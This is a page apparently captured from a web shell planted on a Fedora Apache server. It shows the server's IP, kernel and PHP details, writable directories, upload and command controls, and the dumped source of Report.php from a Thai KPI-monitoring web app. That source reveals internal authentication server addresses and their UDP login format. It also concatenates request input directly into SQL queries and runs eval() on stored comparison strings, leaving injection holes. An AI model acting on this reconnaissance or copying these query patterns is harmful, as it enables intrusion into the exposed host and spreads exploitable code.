403Webshell
Server IP : 182.53.201.61  /  Your IP : 216.73.217.175
Web Server : Apache/2.2.15 (Fedora)
System : Linux km10.dyndns.org 2.6.31.5-127.fc12.i686.PAE #1 SMP Sat Nov 7 21:25:57 EST 2009 i686
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/KPI monitor/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/KPI monitor/Report.php
<?php
header('Content-Type: text/html; charset=windows-874');
$ebits = ini_get('error_reporting');
error_reporting($ebits ^ E_NOTICE);
session_start();
include("dbconfig.php");
mysql_select_db("KPI"); 
mysql_query("SET NAMES 'tis620'; ");

if (isset($_GET['logoff'])  &&  $_GET['logoff']=='yes') 	{
	$_SESSION["uDept"]='NA';
	$_SESSION["cUserName"] ='Guest';
	$usr='xxxx';
} else {
	if (!isset($_SESSION["cUserName"]))$_SESSION["cUserName"] ='Guest';
	if (!isset($_SESSION["uDept"]))$_SESSION["uDept"]='NA';
	if (!isset($_SESSION["cUserID"]))$usr='xxxx';
	else $usr=$_SESSION["cUserID"];
}
if (!isset($_SESSION["Done"])) $_SESSION["Done"] = 'Y';
/* ------------------------------------------------------------------------------------------------------------------------------------------
										Authentication
 ------------------------------------------------------------------------------------------------------------------------------------------*/
if (isset($_POST['username'])) {	     
	$_SESSION["uDept"]='NA';
	$usr = trim($_POST['username']);  
	/*
		เช็ค user ด้วย UDP ผ่านโปรแกรม watchdog.exe
		ให้บริการที่ 192.168.1.2 port 8500
		รูปแบบ 'ChkUsrXXXXX#password'
		ถ้าถูกต้อง  จะได้คำตอบเป็น คำนำหน้าชื่อ;ชื่อ นามสกุล
		ถ้าไม่ถูกจะได้คำตอบเป็น UnAuth
		
	*/
	//$sock=socket_connect_timeout($host, $port, $timeout=100)	

	if(($sock = socket_create(AF_INET, SOCK_DGRAM, 0)))
	{
		// lน่าจะเป็น System local เป็น UTF8  จึงไม่ต้อง iconv( 'UTF-8','TIS-620', $reply);
		$input = 'ChkUsr'.$usr.'#'.trim($_POST['password']);
		$Login ='Na';
		Socket_set_option ($sock, SOL_SOCKET, SO_RCVTIMEO, Array ("sec" => 5, "usec" => 100));//Receive
		Socket_set_option ($sock, SOL_SOCKET, SO_SNDTIMEO, Array ("sec" => 5, "usec" => 10));//Send   
		$server = '192.168.1.2';	//SERVER หลัก
		$port = 8500;
		if (socket_sendto($sock, $input , strlen($input) , 0 , $server , $port))
		if (socket_recv ( $sock , $reply , 2045 , MSG_WAITALL ) ){
		/*$Login = $reply;*/  // iconv( 'UTF-8','TIS-620', $reply)
		$Login = iconv('windows-874','TIS-620', $reply);
		}
		echo $Login.'<br>';
		if ($Login == 'Na'){
			$Login ='UnAuth';
			$server = '192.168.1.14';   //SERVER สำรอง
			if (socket_sendto($sock, $input , strlen($input) , 0 , $server , $port))
			if (socket_recv ( $sock , $reply , 2045 , MSG_WAITALL ) ){
			/*$Login = $reply;*/ // iconv( 'UTF-8','TIS-620', $reply)
			$Login = iconv('windows-874','TIS-620', $reply);
			}
			echo $Login.'<br>';
		}
	} else $Login ='UnAuth';
	//---------------------------------------------------------------------------
	if ($Login <>'UnAuth') {
		$_SESSION["cUserName"] = substr($Login,10);
		$cName = substr($_SESSION["cUserName"],strpos($_SESSION["cUserName"],";")+1 );
		if (strpos($cName,' ')) $cName =substr($cName ,0,strpos($cName,' '));
		$_SESSION["cUserName"] =str_replace(";","",$_SESSION["cUserName"]);
		
		$sql= "select * from  indicators where name like '%".$usr."%' ";   //เช็คว่ามี usr (id) ใน  indicators ไหม
		$result=mysql_query($sql);
		 // ดู SQL string ที่จะ update
		echo mysql_error(); 
		while ($object = mysql_fetch_array($result)) {
		     $sql= 'ok' ;
			 break;
		}
		if ($sql=='ok'){	//พบ user ID ใน ตาราง indicator
			$sql='select * from  users  where password = "'.$usr.'"';
			$result=mysql_query($sql);
			while ($object = mysql_fetch_array($result)) {  //และพบใน ตาราง Users 
				if ($object['username']<>$cName || $object['name']<>$_SESSION["cUserName"]){  //ชื่อไม่ตรงให้ update
					$sql='update users  set  username = "'.$cName.'" ,name ="'.$_SESSION["cUserName"].'"  where password = "'.$usr.'"';
					$result2=mysql_query($sql);
				}
				if (trim($object['dept'])<>'')	$_SESSION["uDept"] = $object['dept'];
				$sql='ok';
				break;
			}
			if ($sql <> 'ok'){ 
				$sql='insert into  users  (username ,name,password) values ("'.$cName.'" ,"'.$_SESSION["cUserName"].'" , "'.$usr.'")';
				$result=mysql_query($sql);
			}
		}
		else {   //ไม่พบ user ID ใน ตาราง indicator อาจพบใน ตาราง Users
			$sql='select * from  users  where password = "'.$usr.'"';
			$result=mysql_query($sql);
			while ($object = mysql_fetch_array($result)) {
				$_SESSION["uDept"] = $object['dept'];
			}
		}	
	}
	if ($_SESSION["cUserName"] =='Guest'){
		echo '<script language="javascript">';
		echo 'alert("ไม่ถูกต้อง")';
		echo '</script>';
	}
}
$_SESSION["cUserID"]=$usr;

$sql = "select status from users where password = '" . $usr . "' limit 1";
$resStatus = mysql_query($sql);
$userStatus = 0; // default ไม่มีสิทธิ์
while ($rec = mysql_fetch_object($resStatus)) {
    $userStatus = $rec->status;
}
$_SESSION["userStatus"] = $userStatus;

//-----------
if (!isset($_SESSION["DeptName"])){
	//เพื่อให้ให้ค้นครั้งเดียวพอ จะได้ไม่หน่วงหน้า web 
	$curID=0;
	$deptList='';
	$sql="select * from dept order by dept_id";
	$result=mysql_query($sql);
	while ($object = mysql_fetch_array($result)) {
		if (	$object['dept_id'] == $curID) {
			if ($deptList == '') $deptList='"'.$object['dept'].'"';
			else $deptList .=',"'.$object['dept'].'"';
			$curID +=1;
		} else {
			for ($i = $curID; $i <= $object['dept_id']; $i++) {
				if ($i == $object['dept_id']){
					if ($deptList == '') $deptList='"'.$object['dept'].'"';
					else $deptList .=',"'.$object['dept'].'"';
				} else {
				if ($deptList == '') $deptList='""';
				else $deptList .=',""';
				}
			}
			$curID = $object['dept_id']+1;
		}
	}	
	eval ('$_SESSION["DeptName"] = array('.$deptList.'); '); 
}
/*------------------------------------------------------------------------------------------------------------------------------------------
														Call from ADD_Report 
/*------------------------------------------------------------------------------------------------------------------------------------------*/
if (isset($_POST['delete']) && $_POST['delete']=='ลบตัวชี้วัด'){
 
    $canDeletePHP = false;
 
  if ($_SESSION["uDept"] == 'All') {
        $canDeletePHP = true;

    } elseif ($_SESSION["userStatus"] == 1) {
        $sqlChk = "select dept from indicators where id_no=" . $_POST['id_no'] . " limit 1";
        $resChk = mysql_query($sqlChk);
        while ($rec = mysql_fetch_object($resChk)) {
            $canDeletePHP = InDept($rec->dept, $_SESSION["uDept"]);
        }
    }
    // status=0  canDeletePHP ยังเป็น false เสมอ

    if ($canDeletePHP) {
        $sql = "update indicators set active='N' where id_no=" . $_POST['id_no'];
        mysql_query($sql);
    }
 
} else {
 
    // ===== INSERT/UPDATE: ยังต้องพึ่ง Done flag กันกด refresh ซ้ำ =====
    if ($_SESSION["Done"] <> 'Y'){				//ป้องกัน Refresh
 
        if (isset($_POST['insert']) || isset( $_POST['append']) ) {	
            if ($_POST['insert']=='บันทึกข้อมูล' || $_POST['append']=='เพิ่มตัวชี้วัด') {
			
				$canSavePHP = false;
				$nCurID = $_POST['id_no']+0;
        
				if ($_SESSION["uDept"] == 'All') {
                    // All ทำได้ทุกอย่าง
                    $canSavePHP = true;

                } elseif ($_POST['append'] == 'เพิ่มตัวชี้วัด') {
                    // เพิ่มใหม่ — ต้องมี status=1
                    $canSavePHP = ($_SESSION["userStatus"] == 1);

                } elseif ($_POST['insert'] == 'บันทึกข้อมูล') {
                    if ($_SESSION["userStatus"] == 1) {
                        // status=1 แก้ไขได้เฉพาะ dept ตัวเอง
                        $sqlChk = "select dept from indicators where id_no=" . $nCurID . " limit 1";
                        $resChk = mysql_query($sqlChk);
                        while ($rec = mysql_fetch_object($resChk)) {
                            $canSavePHP = InDept($rec->dept, $_SESSION["uDept"]);
                        }
                    } elseif ($_SESSION["userStatus"] == 0) {
                        // status=0 แก้ไขได้เฉพาะตัวที่ตัวเองรับผิดชอบ
                        $sqlChk = "select name from indicators where id_no=" . $nCurID . " limit 1";
                        $resChk = mysql_query($sqlChk);
                        while ($rec = mysql_fetch_object($resChk)) {
                            $canSavePHP = (strpos($rec->name, $_SESSION["cUserID"]) !== false);
                        }
                    }
                }

                /*$_POST['amount'] = isset($_POST['amount']) ? floatval($_POST['amount']) : 0;
                $_POST['total'] = isset($_POST['total']) ? floatval($_POST['total']) : 0;
                $nCurID = isset($_POST['id_no']) ? intval($_POST['id_no']) : 0;*/
 
                /* กรณีที่ SAVE จาก "add_report "  
 
                    1.ปรับปรุง หน่วยงานรับผิดชอบ dept ฐาน indicators 
                    *************************************
                */
				 if ($canSavePHP) {
				 
				$_POST['amount']+=0;	//ปรับเป็นตัวเลข
                $_POST['total']+=0;
                
                if (isset($_POST['DateRegis'])) {
                    $DateRegis = $_POST['DateRegis'];
                    // แปลงจาก dd/mm/yyyy เป็น yyyy-mm-dd
                    $dateParts = explode('/', $DateRegis);
                    if (count($dateParts) == 3) {
                        $Savedate = ($dateParts[2] ) . '-' . $dateParts[1] . '-' . $dateParts[0];
                    } else {
                        $Savedate = date('Y-m-d');
                    }
                } else {
                    $Savedate = date('Y-m-d');
                }
/*				$Savedate = (substr($_POST['DateRegis'],6)-543).'-'.substr($_POST['DateRegis'],3,2).'-'.substr($_POST['DateRegis'],0,2);
				*/
 
                $deptList = '';
                if (isset($_POST['framework']) && is_array($_POST['framework'])) {
                    foreach($_POST["framework"] as $row) {
                        $deptList .= $row . ',';  //ต้องมี , ปิดท้ายเสมอ ไว้ค้นหา
                    }
                } elseif (isset($_POST['selected_depts'])) {
                    // หรือรับค่าจาก hidden field ที่ส่งมาจาก Choices.js
                    $deptList = $_POST['selected_depts'] . ',';
                } else {
                    $deptList = ''; // ถ้าไม่มีค่าที่เลือก
                }
                $response =  str_replace(",",";",$_POST['response']);
                if(substr($response,0,1)<> ";") $response =";".$response ;
                if ( $_POST['append']=='เพิ่มตัวชี้วัด') {
                        $sql="insert into indicators (indicators,dept,name,name1,name2,def,sd,st,H,sr,HA,PA,HPT,GA,KFA,T_NO,goal,eva,compair,graph) 
                        values ('".$_POST['indicators']."','".$deptList."','".$_POST['name']."','".$_POST['name1']."','".$_POST['name2']."','"
                        .$_POST['def']."','".$_POST['sd']."','".$_POST['st']."','".$_POST['H']."','".$_POST['sr']."','".$_POST['response2']."','"
                        .$_POST['response3']."','".$_POST['response5']."','".$_POST['response4']."','".$_POST['response6']."','".$_POST['response7']."','".$_POST['goal2']."','".$_POST['goal3']."','".$_POST['goal1']."','".$_POST['graph']."')";
                        //echo $sql;
                        $result=mysql_query($sql);	
                        //echo $result;
                        $sql="select * from indicators where id_no=LAST_INSERT_ID()";
                        $result=mysql_query($sql);	
                        $nCurID = mysql_insert_id();
                }else{
                    $sql="update indicators  set indicators='".$_POST['indicators']."',dept ='".$deptList."',name='".$_POST['name1']."',
                    name1='".$_POST['name1']."',name2='".$_POST['name2']."',def='".$_POST['def']."' ,sd='".$_POST['sd']."',st='".$_POST['st']."',H='".$_POST['H']."',sr='".$_POST['sr']."',HA='".$_POST['response2']."'
                    ,PA='".$_POST['response3']."',HPT='".$_POST['response5']."',GA='".$_POST['response4']."',T_NO='".$_POST['response6']."',KFA='".$_POST['response7']."',name='".$_POST['name']."'
                    ,goal='".$_POST['goal2']."',eva='".$_POST['goal3']."',compair='".$_POST['goal1']."' ,graph='".$_POST['graph']."' where id_no=".$nCurID; 
                    //echo $sql;
                    $result=mysql_query($sql);
                    //echo $result;
                }
 
                //echo $_POST['insert'].'<br>' ;  //เอาไว้ตรวจสอบ $_POST['insert']
                //echo $_POST['append'].'<br>' ; 
                //echo $sql.'<br>';
                   // echo mysql_error();   //เอาไว้ตรวจสอบ error  
                //echo $Savedate;
                //echo  $sql; //ตรวจคำสั่ง update
                //------------------------------------------------------------------------------
 
                /*  2.บันทึกข้อมูล " รายวัน " ฐาน Result  
                    *****************************
                */
                $sql="delete from  result  where id_no=".$nCurID." and date = '".$Savedate."'";
                $result=mysql_query($sql);		//โดยลบข้อมูลวันเดิมออกก่อน (ป้องกันบันทึกซ้ำ )
                $sql="insert into result (id_no,date,amount,total) values (".$nCurID.",'".$Savedate."',".$_POST['amount'].",".$_POST['total'].")";
                $result=mysql_query($sql);	 	// แล้ว insert ใหม่ 
 
                /* 3.รวมข้อมูลเป็นรายเดือน
                     จาก Result เพื่อบันทึกในฐาน goal ช่องเดือน(m1-12 และ m1b-m12b)ของ reccord ตามปีงบปรมาณนั้น	*/
                //   3.1 กำหนดตัวแปร ปีงบประมาณ
                $ButgMonth = substr($Savedate,5,2);
                $ButgYear   = substr($Savedate,0,4);
                if ($ButgMonth >='10') {
                    $firstButgDate =$ButgYear.'-10-01';
                    $ButgMonth = $ButgMonth-9;    					//$ButgMonth 1,2,3  คือเดือนตุลาคม 10 - ธันวาคม 12
                    $ButgYear = $ButgYear+1;
                } else {
                    $firstButgDate = ($ButgYear-1).'-10-01';
                    $ButgMonth = ($ButgMonth+3);  				//$ButgMonth 4 - 12  คือเดือนมกราคม 1 - กันยายน 9
                }	
                $nextm = date('Y-m-t',strtotime($Savedate)); 	//วันสุดท้ายของเดือน
                //   3.2  ตรวจสอบข้อมูลใน Goal เอาเป้าหมายสุดท้ายมา ใช้กรณีไม่สะสมเป้าหมาย ($nTotalb)
                $suma=0;	$sumt=0;	$nTotalb =0;	$txtData  ='';
                $sql="select * from goal where id_no=".$nCurID." and year = '".$ButgYear."' limit 1" ;
                $oGoal = mysql_query($sql);
                $gRows = mysql_num_rows($oGoal);
                if ($gRows > 0) {	//เคยมีบรรทัดปีนี้ 
                    while ($object = mysql_fetch_array($oGoal)) {
                        $txtData = trim($object['data']);
                        $nTotalb = $object['totalb']+0;
                    }
                }
                //   3.3  ผลงาน 
                if ( $_POST['sr'] =='Y'  ) { 	 	//   3.3.1  กรณีระบุว่าใช้ผลงาน สุดท้าย 
                    $lSumm=false;
                    $sql="select  *  from result where id_no=".$nCurID." and date >= '".substr($Savedate,0,8)."01' and 
                    date <= '".$nextm."'  order by date DESC limit 1" ;
                    $result=mysql_query($sql);
                    while ($object = mysql_fetch_object($result)) {
                        $suma = ($object ->amount)+0;		//ยอดสุดท้ายในเดือน
                        break;
                    }
 
                } else { 									//	3.3.2  กรณีระบุว่าใช้ผลงานสะสม
                    $lSumm=true;
                    $sql="select sum(amount) as suma  from result where id_no=".$nCurID." and date >= '".substr($Savedate,0,8)."01' and date <= '".$nextm."'" ;
                    $result=mysql_query($sql);
                    while ($object = mysql_fetch_object($result)) {
                        $suma = ($object ->suma)+0;	   //ยอดรวมในเดือน
                        break;
                    }
                }
                //	3.4 เป้าหมาย
                if ( $_POST['st'] =='Y'  ) {  	// 3.4.1  กรณีระบุว่าไม่สะสม 
 
                    $lSumY=false;
                    $sql="select  *  from result where id_no=".$nCurID." and total > 0 and  
                    date >= '".$firstButgDate."' and date <= '".$nextm."' order by date DESC limit 1" ;  
                    $result=mysql_query($sql);
                    while ($object = mysql_fetch_object($result)) {
                        $sumt = ($object ->total)+0;  	//ยอดเป้าหมายที่ใส่ล่าสุดในปีถึงเดือนนี้
                        break;
                    }
                    if ($sumt==0) $sumt =$nTotalb;		//ไม่มีบันทึกเป้าหมาย เอาค่าที่บันทึกไว้ครั้งสุดท้าย
 
                } else {								// 3.4.2  กรณีระบุว่าใช้เป้าหมายสะสม
 
                    $lSumY=true;
                    $sql="select  sum(total) as sumt from result where id_no=".$nCurID." and date >= '".substr($Savedate,0,8)."01' and date <= '".$nextm."'" ;
                    $result=mysql_query($sql);
                    while ($object = mysql_fetch_object($result)) {
                        $sumt = ($object -> sumt)+0;		//เป้าหมายสะสมในเดือน
                        break;
                    }
                }
 
                // 4 บันทึก ผลรายเดือนที่ได้ ลงฐาน goal บรรทัด " ปีงบประมาณ "ที่ระบุ
 
                if ($gRows == 0) {	//ไม่เคยมีบรรทัดปีนี้ ให้ insert
                    $txtData= ';'.substr('{reg000000000000}',0,$ButgMonth+3).'1'.substr('{reg000000000000}',$ButgMonth+4);
 
                    $sql="insert into goal (id_no,year,compair,goal,eva,m".$ButgMonth.",m".$ButgMonth."b,data) 
                    value (".$nCurID.",'".$ButgYear."','".$_POST['goal1']."',".$_POST['goal2'].",'".$_POST['goal3']."',".$suma.",".$sumt.",'".$txtData."')";
                } else {  					//เคยมีบรรทัดปี ให้Update
                    $npos = strpos($txtData,'{reg');
                    if ( $npos >= 1 ) 	$txtData = substr($txtData,0,$npos+$ButgMonth+3).'1'.substr($txtData,$npos+$ButgMonth+4);
                    else $txtData .= ';'.substr('{reg000000000000}',0,$ButgMonth+3).'1'.substr('{reg000000000000}',$ButgMonth+4);
 
                    $sql="update goal set  m".$ButgMonth."=".$suma.",m".$ButgMonth."b=".$sumt.
                    ",goal=".$_POST['goal2'].",eva='".$_POST['goal3']."',compair='".$_POST['goal1'].
                    "',data='".$txtData."'  where id_no=".$nCurID." and year='".$ButgYear."'";
                }
                $result=mysql_query($sql);
                //echo $sql.'<br>';
                /*
                    5.รวมข้อมูลรายปี goal ช่องเดือน 1 ถึง 12 
                */
                $suma=0;
                $sumt=0;
                $sql="select * from goal  where id_no=".$nCurID." and year = '".$ButgYear."' limit 1" ;
                $result=mysql_query($sql);
                while ($object = mysql_fetch_array($result)) {
                    $compair = trim($object['compair'] );
                    $eva =$object['eva'] ;
                    $goal =$object['goal'] ;
                    for ($i = 1; $i <= 12; $i++) {
                        if ($lSumm) $suma = $suma+$object["m".$i];
                        else 	if ($object["m".$i] > 0)	$suma = $object["m".$i];	//  กรณีระบุว่าใช้ผลงาน สุดท้าย (ลงท้ายด้วย L)
                        if ($lSumY)  $sumt = $sumt +$object["m".$i."b"]; //รวมทุกเดือน
                        else 	if  ($object["m".$i."b"] > 0)   $sumt = $object["m".$i."b"];	//เดือนที่มีค่าล่าสุด
                    }
                }
                $totalx=$suma;   // ผลประเมิน บันทึกไว้ใน $totalx
                switch (substr(trim($eva),0,1)) {
                    case 'n':
                        if ($suma==0) $totalx = 0.00;
                        else {
                            if ($sumt==0) $totalx = $suma;
                            else $totalx = $suma /$sumt ; 
                        }
                        break;
                    case ':':		
                        if ($suma==0) $totalx = 0.00;
                        else {
                            if ($sumt==0) $totalx = 1.00;
                            else	$totalx = $suma /$sumt ; 
                        }
                        break;
                    case '%':		// ถ้าเป้าเป็น % ผลประเมินต้องเป็น %
                        if ($suma==0) $totalx = 0.00;
                        else {
                            if ($sumt==0) $totalx = 100.00 ;
                            else  $totalx = $suma *100/$sumt ;  
                        }
                        break;
                    case 'T':		// ถ้าเป้าเป็น /1000 
                        if ($suma==0) $totalx = 0.00;
                        else {
                            if ($sumt==0) $totalx = 1000.00 ;
                            else	$totalx = $suma *1000/$sumt ;
                        }
                        break;
 
                    case 'H':		// ถ้าเป้าเป็น /100,000 
                        if ($suma==0) $totalx = 0.00;
                        else {
                            if ($sumt==0) $totalx = 100000.00 ;
                            else	$totalx = $suma *100000/$sumt ;
                        }
                        break;
 
                    case '/':			// ถ้าเป้าเป็นค่าเฉลี่ย
                        if ($suma==0) $totalx = 0.00;
                        else {
                            if ($sumt==0) $totalx = $suma;
                            else $totalx = $suma /$sumt ; 
                        }
                        break;
                }
                if ($compair =="=" || $compair=='') $compair ="==";
                $result='red';
                //พิจารณาตาม compair
                eval ('if ('.$totalx.$compair.$goal.') $result = "green"; '); 
                //บันทึกผลประเมิน ปี
                $sql="update goal set  total=".$suma.",totalb=".$sumt.",totalx=".$totalx.",result='".$result."' 
                where id_no=".$nCurID." and year='".$ButgYear."'";
                //echo $sql.'<br>';
                $result=mysql_query($sql);
            }
        }
    }
    $_SESSION["Done"] = 'Y';
}
}
/* ------------------------------------------------------------------------------------------------------------------------------------------
										 onChange()  จะมีตัวแปร $_GET[ ] ส่งมาด้วย 
------------------------------------------------------------------------------------------------------------------------------------------*/
if (isset($_GET['Rdept'])) $_SESSION['deptRep'] = $_GET['Rdept'];
elseif (!isset($_SESSION['deptRep'])) $_SESSION['deptRep'] = 'All'; 
if (isset($_GET['resp'])) $_SESSION['resp'] = $_GET['resp'];
elseif (!isset($_SESSION['resp'])) $_SESSION['resp'] = 'All'; 
if (isset($_GET['work'])) $_SESSION['work'] = $_GET['work'];
elseif (!isset($_SESSION['work'])) $_SESSION['work'] = 'All'; 
if (isset($_GET['byear']))	$_SESSION['byear'] = $_GET['byear'];
if (!isset($_SESSION['byear'])){    				// -- เข้า page นี้ครั้งแรกให้ใช้ ปีปัจจุบัน
	$year =  date('Y');
	$mon = date('m');
	if ($mon >= 10)	$_SESSION['byear'] =$year+544;
	else $_SESSION['byear'] =$year+543;
} 
$year = $_SESSION['byear']-543;		// -- เข้า page ครั้งต่อๆไป จะมีปีเป็นตามที่ใช้อยู่
?>
<!DOCTYPE html>
<html>
<script type="text/javascript"> 
	function getValue(vname) 
	{ 
		var n = document.getElementById(vname).value
		return n;
	} 
	function changeFunc(cLOG) {
    	var URL;
		URL= "<?php echo $_SERVER['PHP_SELF'] ?>";
		URL+= "?&byear=";
		URL+= getValue('byear');
		URL+= "&Rdept=";
		URL+= getValue('dept_id');
		URL+= "&resp=";
		URL+= getValue('resp_id');
		URL+= "&work=";
		URL+= getValue('work');
		URL+= "&logoff=";
		URL+= cLOG;
		window.location= URL;
   	}
	function createDynamicURL(cIDNO,cYear,cName){
	var URL;
	URL="ControlChart.php?&id_no=";
	URL+= cIDNO;
	URL+= "&rYear=";
	URL+= cYear;
	URL+= "&RepName=";
	URL+= cName;
	return URL;
  }
  function RedirectURL(cIDNO,cYear,cName){
	//window.location= createDynamicURL(cIDNO,cYear,cName);
	window.open(createDynamicURL(cIDNO,cYear,cName), '_blank');
  }
</script>
<style>
.tooltip {
  position: relative;
  display: inline-block;
  border-bottom: 1px dotted black;
}

.tooltip .tooltiptext {
  visibility: hidden;
  width: 120px;
  background-color: #555;
  color: #fff;
  text-align: center;
  border-radius: 6px;
  padding: 5px 0;
  position: absolute;
  z-index: 1;
  bottom: 125%;
  left: 50%;
  margin-left: -60px;
  opacity: 0;
  transition: opacity 0.3s;
}

.tooltip .tooltiptext::after {
  content: "";
  position: absolute;
  top: 100%;
  left: 50%;
  margin-left: -5px;
  border-width: 5px;
  border-style: solid;
  border-color: #555 transparent transparent transparent;
}

.tooltip:hover .tooltiptext {
  visibility: visible;
  opacity: 1;
}
body,td,th {
	font-size: 14px;
}
.kpi-table {
    width: 1700px;
    border-collapse: separate;
    border-spacing: 0;
    border-radius: 10px;
    overflow: hidden;
    box-shadow: 0 3px 10px rgba(0,0,0,0.15);
    margin: 0 auto;
}

/* ===== HEADER ===== */
.kpi-table thead tr {
    background: linear-gradient(135deg, #1a3a5c, #2d6a9f);
}

.kpi-table thead td {
    color: #ffffff;
    font-size: 16px;
    font-weight: bold;
    padding: 12px 8px;
    text-align: center;
    border: none;
    letter-spacing: 0.3px;
}

.kpi-table thead td.past-year {
    background: #4a7a9b;
    color: #ddeeff;
    font-size: 14px;
}

.kpi-table thead td.current-year {
    background: #f0a500;
    color: #fff;
    font-size: 16px;
}

/* ===== BODY ===== */
.kpi-table tbody {
    background-color: #ffffff;
}

.kpi-table tbody tr {
    border-bottom: 3px solid #cccccc;  /* เส้นบางๆ แบ่งแถว */
}

.kpi-table tbody td:hover {
    background-color: #f0dab4;          /* hover สีฟ้าอ่อนมาก */
    transition: background-color 0.2s;
}

.kpi-table tbody td {
    padding: 8px 10px;
    font-size: 16px;
    color: #333;
    border-right: 2px solid #eef1f5;   /* เส้นแบ่งคอลัมน์บางมาก */
    border-bottom: none;
}

/* คอลัมน์ปีย้อนหลัง */
.kpi-table tbody td.past-year {
    background-color: #f7f9fc;          /* เทาอ่อนมาก แยกให้รู้ว่าเป็นปีเก่า */
    color: #666;
    text-align: right;
    font-size: 16px;
}

/* คอลัมน์ปีปัจจุบัน */
.kpi-table tbody td.current-year {
    background-color: #fffbf0;          /* เหลืองอ่อนมาก */
    font-weight: bold;
    text-align: right;
}

/* แถวสลับสี (zebra) เบาๆ */
.kpi-table tbody tr:nth-child(even) {
    background-color: #fafbfd;
}

/* ===== ผลประเมิน ===== */
.kpi-table tbody td font[color="green"] {
    color: #1a8a3a !important;
    font-weight: bold;
}

.kpi-table tbody td font[color="red"] {
    color: #cc2222 !important;
    font-weight: bold;
}
/* ===== ตารางสรุปท้ายหน้า ===== */
.kpi-summary {
    margin-top: 12px;
}

.kpi-summary thead tr {
    background: linear-gradient(135deg, #1a3a5c, #2d6a9f);
}

.kpi-summary thead td {
    color: #ffffff;
    font-size: 13px;
    padding: 12px 14px;
    border: none;
    border-right: 1px solid rgba(255,255,255,0.15);
}

.kpi-summary thead td:last-child {
    border-right: none;
}

.kpi-summary thead td strong {
    font-size: 14px;
}
</style>
<head>
<title>รายงานตัวชี้วัด</title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874">
</head>
<body style="background:#f2f8ff;">
<table width="1015" height="51" border="0" align="center" cellpadding="3">
  <tr>
    <td align="center"><table width="1200" border="0">
      <tr align="left" valign="top">
        <td width="180"><p><a href="image/คู่มือ KPI.pdf"><img src="image/major.gif" align="left" title="คู่มือการใช้งาน" ></p> 
        <p>คู่มือการใช้งาน</p></a></td>
      <td width="700" align="center"><img src="image/templatemo_logo.png" width="184" height="43" align="top"></a>
      <div align="center"><br>
    <span class="style3" > ตอบสนองวิสัยทัศน์ : บริการปลอดภัย ร่วมใจทุกภาคี เจ้าหน้าที่มีความสุข</span></td>
	<td width="306"></td>
	<!--<td width="306"> ชื่อผู้ใช้งาน : &nbsp;<?php echo $_SESSION["cUserName"].'<br>Department:'.$_SESSION["uDept"]; ?></td> -->
  </tr>
</table> 

<table width="1200" border="0" align="center" cellpadding="0" cellspacing="0" 
       style="background: linear-gradient(135deg, #1a3a5c, #2d6a9f); border-radius: 8px; 
              padding: 10px; margin-bottom: 8px; box-shadow: 0 2px 6px rgba(0,0,0,0.3);">
  <tr valign="middle">

   <?php if ($_SESSION["uDept"] == 'All' || $_SESSION["userStatus"] == 1): ?>
    <td align="center" style="padding: 6px 10px;">
        <a href="add_report2.php?id_no=0&goal=&eva=&compair=" style="text-decoration:none;">
            <button style="
                background-color: #28a745;
                color: white;
                border: none;
                padding: 8px 14px;
                border-radius: 6px;
                cursor: pointer;
                font-size: 13px;
                font-weight: bold;
                box-shadow: 0 2px 4px rgba(0,0,0,0.3);
                white-space: nowrap;
            "
            onmouseover="this.style.backgroundColor='#218838'"
            onmouseout="this.style.backgroundColor='#28a745'">
            + เพิ่มตัวชี้วัดใหม่
            </button>
        </a>
    </td>
    <?php endif; ?>

    <!-- ปี -->
    <td style="padding: 6px 10px; white-space: nowrap;">
        <label style="color:#fff; font-size:13px; font-weight:bold;">ปี</label><br>
        <input type="number" name="byear" id="byear" size="8"
               value="<?php echo $_SESSION['byear']; ?>"
               onChange="changeFunc('')"
               style="padding:4px 6px; border-radius:4px; border:1px solid #aac;
                      font-size:13px; width:80px; text-align:center;">
    </td>

    <!-- ฝ่ายงาน -->
    <td style="padding: 6px 10px; white-space: nowrap;">
        <label style="color:#fff; font-size:13px; font-weight:bold;">ฝ่ายงาน</label><br>
        <select name="dept_id" id="dept_id" onChange="changeFunc('')"
                style="padding:4px 6px; border-radius:4px; border:1px solid #aac;
                       font-size:13px; min-width:160px; height:28px;">
            <option value="All"  <?php if($_SESSION['deptRep']=='All') echo 'selected'; ?>>ทั้งหมด</option>
            <option value="Adm"  <?php if($_SESSION['deptRep']=='Adm') echo 'selected'; ?>>ที่รับผิดชอบ</option>
            <?php
                $sql = "select * from dept";
                $result = mysql_query($sql);
                while ($rowResp = mysql_fetch_object($result)) {
                    $_SESSION['Team'] = $rowResp->Team;
                    $sel = ($_SESSION['deptRep'] == $rowResp->dept_id) ? 'selected' : '';
                    echo '<option value="'.$rowResp->dept_id.'" '.$sel.'>'
                        .$rowResp->dept_id.'&nbsp;&nbsp;'.$rowResp->dept.'</option>';
                }
            ?>
        </select>
    </td>

    <!-- ภารกิจ -->
    <td style="padding: 6px 10px; white-space: nowrap;">
        <label style="color:#fff; font-size:13px; font-weight:bold;">ภารกิจ</label><br>
        <select name="resp_id" id="resp_id" onChange="changeFunc('')"
                style="padding:4px 6px; border-radius:4px; border:1px solid #aac;
                       font-size:13px; min-width:150px; height:28px;">
            <option value="All" <?php if($_SESSION['resp']=='All') echo 'selected'; ?>>ทั้งหมด</option>
            <?php
                mysql_select_db("KPI");
                mysql_query("SET NAMES 'tis620'");
                $sql = "select * from response order by resp_id";
                $result = mysql_query($sql);
                while ($rowresp = mysql_fetch_object($result)) {
                    $sel = ($_SESSION['resp'] == $rowresp->colum_name) ? 'selected' : '';
                    echo '<option value="'.$rowresp->colum_name.'" '.$sel.'>'
                        .$rowresp->resp_id.'&nbsp;&nbsp;'.$rowresp->response.'</option>';
                }
            ?>
        </select>
    </td>

    <!-- ประเมินผล -->
    <td style="padding: 6px 10px; white-space: nowrap;">
        <label style="color:#fff; font-size:13px; font-weight:bold;">ประเมินผล</label><br>
        <select name="work" id="work" onChange="changeFunc('')"
                style="padding:4px 6px; border-radius:4px; border:1px solid #aac;
                       font-size:13px; min-width:110px; height:28px;">
            <option value="All"   <?php if($_SESSION['work']=='All')   echo 'selected'; ?>>ทั้งหมด</option>
            <option value="green" <?php if($_SESSION['work']=='green') echo 'selected'; ?>>ผ่าน</option>
